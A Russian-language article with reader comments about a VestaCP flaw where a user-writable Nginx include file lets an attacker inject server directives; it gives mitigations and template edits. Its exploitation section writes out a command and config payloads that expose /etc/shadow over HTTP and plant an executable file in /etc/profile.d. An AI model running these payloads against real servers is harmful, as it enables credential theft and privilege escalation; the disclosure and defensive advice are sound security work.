Для VestaCP опубликована информация об уязвимости, обнаруженной ещё в марте. Уязвимость связана с тем, как панель работает с конфигами веб-сервера Nginx.
В конфигурационном файле /home/%user%/conf/web/nginx.conf можно увидеть вот такой location:
location /vstats/ { alias /home/%user%/web/%domain%/stats/; include /home/%user%/web/%domain%/stats/auth.conf*; }
Владельцем директории и файла (если он уже создан), при этом, является пользователь. Такое поведение приводит к тому, что в файл, можно записать любое, нужное злоумышленнику содержимое, которое при перезапуске веб-сервера будет прочитано и учтено.
Для того что бы «прикрыть» уязвимое место уже сейчас, имеет смысл сменить владельца директории /stats/ и конфигов в ней на root:root, проверив при этом, не записано ли уже в конфиги что-то лишнее. Либо и вовсе, пока что, закомментировать инклуд этой директории и её содержимого в конфиге веб-сервера.
Использование уязвимости.
Допустим, что злоумышленник получил возможность загружать на сайт свои файлы, либо выполнять собственный PHP код. Ему остаётся сделать примерно так (из PHP):
chmod u+w /home/%user%/web/%domain%/stats/ echo 'client_body_temp_path /etc/shadow; location /vstats/steal { alias / ; }' > /home/%user%/web/%domain%/stats/auth.conf.evil
И после того как Nginx будет перезапущен, файл /etc/shadow будет доступен по адресу http://%domain%/vstats/steal/etc/shadow
Автор, опубликовавший информацию о проблеме, приводит примеры чтения системных файлов таким способом и записи файла с повышенными привилегиями в системе:
client_body_temp_path /etc/shadow; location /vstats/steal { alias / ; }
client_body_temp_path /etc/profile.d/vim.sh; location /evil { error_log /etc/profile.d/vim.sh; }
Во втором примере, после того как Nginx будет перезапущен, у злоумышленника появляется возможность записать что-либо в файл, путём вызова ошибок, которые будут записываться в лог. Затем этот файл можно будет выполнить.
По словам автора, разработчики узнали о проблеме ещё в марте, и на первое обращение отреагировали очень быстро, но затем, ответы и какую-либо реакцию от них он получать перестал. Высказывается и альтернативное мнение о том, что на самом деле, разработчики об уязвимости узнали совсем недавно. Так оно или нет, по большому счёту уже не так важно, уязвимость уже доступна публично, а значит остаётся надеяться, что разработчики панели оперативно исправят её.
Спасибо большое! 2020 год, а уязвимость не прикрыли!
В VestaCP этот код прописан еще в готовых шаблонах nginx (wordpress2_rewrite.stpl и wordpress2_rewrite.tpl)
Путь: /usr/local/vesta/data/templates/web/nginx/php-fpm
В этих двух файлах удалил:
location /vstats/ {
alias %home%/%user%/web/%domain%/stats/;
include %home%/%user%/web/%domain%/stats/auth.conf*;
}
и
include /etc/nginx/conf.d/phpmyadmin.inc*;
include /etc/nginx/conf.d/phppgadmin.inc*;
include /etc/nginx/conf.d/webmail.inc*;
Далее перезаливаем эти файлы туда-же, но без этого кода
В консоль вводим: sudo service nginx restart (перезагружаем nginx)
После этого изменений не будет (т.к. возможно в кэше у меня), нужно зайти в VestaCP -> WEB -> Домен (редактировать) -> Шаблон WebNGINX -> Выбираем wordpress2_rewrite -> Сохранить
Теперь шаблон обновится, в /home/%user%/conf/web/nginx.conf два файла домен.nginx.conf и домен.nginx.ssl.conf — в них должен новый конфиг прописаться автоматически, но лучше проверить, если стоит кэш, то может не обновиться. Я менял шаблон на wp чистый (сохранял) а потом ставил обратно wordpress2_rewrite и после этого обновилось, ну у меня чистый wordpress, нечего терять пока-что.
Забыл написать
Тогда доступ к phpmyadmin и webmail пропадет и из админки нельзя будет зайти
В этом случае лучше использовать субдомен с основными шаблонами
Почему у статьи нет даты? «Обнаружена еще в марте…» В каком, блять, марте?